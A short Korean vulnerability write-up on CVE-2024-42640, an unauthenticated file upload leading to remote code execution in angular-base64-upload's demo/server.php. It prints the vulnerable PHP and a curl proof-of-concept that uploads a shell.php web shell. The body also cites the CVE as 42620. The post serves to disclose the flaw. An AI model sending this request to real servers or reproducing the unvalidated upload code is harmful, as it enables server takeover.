[하루한줄] CVE-2024-42640 : Angular의 업로드 파일 검증 미흡으로 인한 Unauthenticated RCE

URL

Target

  • angular-base64-upload < v0.1.21

Explain

angular-base64-upload은 base64로 인코딩된 파일을 업로드하는 라이브러리 입니다. CVE-2024-42620 취약점은 angular-base64-upload/demo/server.php 엔드포인트에서 발생하며 인증되지 않은 원격 공격자가 임의의 파일을업로드할 수 있는 취약점 입니다.

<?php
    class Base64File
    {
      public $base64 = '';
      public $filename = '';
      private $folder = 'uploads';
    
      function __construct($attrs)
      {
        $this->base64 = $attrs['base64'];
        $this->filename = $this->folder.'/'.$attrs['filename'];
        $this->decodeBase64File();
        return $this;
      }
    
      function decodeBase64File() {
          $ifp = fopen($this->filename, 'w');
          fwrite( $ifp, base64_decode( $this->base64) );
          fclose($ifp);
          return $ifp;
      }    
    }

    //parse request payload
    $postdata = file_get_contents("php://input");
    $request = json_decode($postdata, true);
    //end parse
  
    $file = new Base64File($request);
    echo $file->filename;  
?>

위 코드는 인코딩된 파일을 받아 어떠한 검증도 하지 않고 파일을 저장합니다.

따라서 아래와 같이 인코딩된 파일을 인자로 서버에 업로드 한 후, uploads 폴더 내 저장된 파일에 접근하면 임의 명령어를 실행할 수 있습니다.

curl -lk -X POST \
     -H "Content-Type: application/json" \
     -d '{"base64": "<base64-content>", "filename": "shell.php"}' \
     "http://$domain/{node_modules/bower_components}/angular-base64-upload/demo/server.php"